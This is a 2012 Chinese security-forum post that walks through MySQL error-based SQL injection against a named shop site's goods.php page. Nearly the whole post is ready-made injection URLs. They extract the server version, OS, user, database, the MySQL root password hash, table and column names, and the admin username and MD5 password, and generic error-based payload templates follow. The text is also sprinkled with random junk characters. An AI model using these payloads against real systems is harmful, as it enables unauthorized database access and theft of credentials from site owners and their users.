找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2486|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号 - k' d0 n6 E! @9 l: U
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
- s% C6 b" e/ Z; j) v  V( i* [' r7 m# C5 o' p+ e, y: X' |
判断系统
8 W* L  ~0 c; O
0 l: k' P3 v9 h' I7 I2 `4 Ihttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
- H* U/ u' p! w4 Z* N4 F% m4 v* b- j1 ?) y: I) v/ b( M
% K# h6 i8 T4 L) N+ M3 X

& y5 y' r4 v4 V$ f- m! T' A2 w9 O当前 user()
. D# X7 v9 m6 A2 u9 Y! x: Z& }5 N: v& T! q4 {- O% R6 |
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23- v& z* k0 V/ r$ M

7 I! D4 i1 p' b, I# M( K0 o) I' V. x, x5 u; Y% ~- o, |

& L( x3 R4 n3 a% }' q当前 database()
* u4 H! c4 h% T& yhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
* @5 g# v; p! \& d2 j+ \5 ]/ |+ V# J& [5 O9 {2 p0 g7 J
, H  q1 X# s6 |
# j  K* d# d) }

! z$ j& @6 @# x8 t$ \6 ~root hash
6 I: U  P; o2 P" ?. F5 f8 V( }7 s
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
! Y* ]6 U8 _! X, q+ d
7 v; }! n$ d- d$ }: d
4 o, p  v3 @. b" F  j2 i+ B( n' q, o! q: q- W5 ~, E3 b" m
当前 数据库表名5 o. T  [. o* ^( @
! E' V8 O* ~/ g# c( c4 c! a
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23& O- K# s! C0 U" M  k* t7 r

; e% G0 X! @( Q2 j+ }* a3 v" ?! m; u, }. k0 j& P' ]; P# y% a# T

5 [' T. d2 E, R) G& M当前 数据库 user_name 字段
' K/ N# a& y1 W9 R: g
- a( r+ ?# c6 c. a1 `http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
8 H* s/ i# |/ ^' }4 M, \, g/ E' O: V# b9 E/ \* w- e
当前 数据库 字段 password" T4 u+ Q, V# V0 P, j: \
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
, ]! q) r& ?: {5 _1 y* ~) l5 H/ a- R6 d/ M

2 X. |/ k7 |2 Y# u
2 z& G; a" S. p/ r6 S获得 admin passwd(md5)
+ P  b* t. e+ P& f2 F" B$ q$ c  P, m# I8 F: A) v

- S+ I) Z/ F, |8 g- Xhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& m& C0 y9 j5 X. h1 S% a0 [4 J) p- U+ n( _4 _. S) L+ B2 S3 Z
报错注射/ g0 j- J3 I! G. W
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)3 R  |0 n6 x- {. a& f, c
( X3 t% D9 H" x- z
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
* a4 r$ h3 q, H  j( W3 r! N4 L3 t6 O' n7 t7 c0 w" s1 u( |/ ^
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表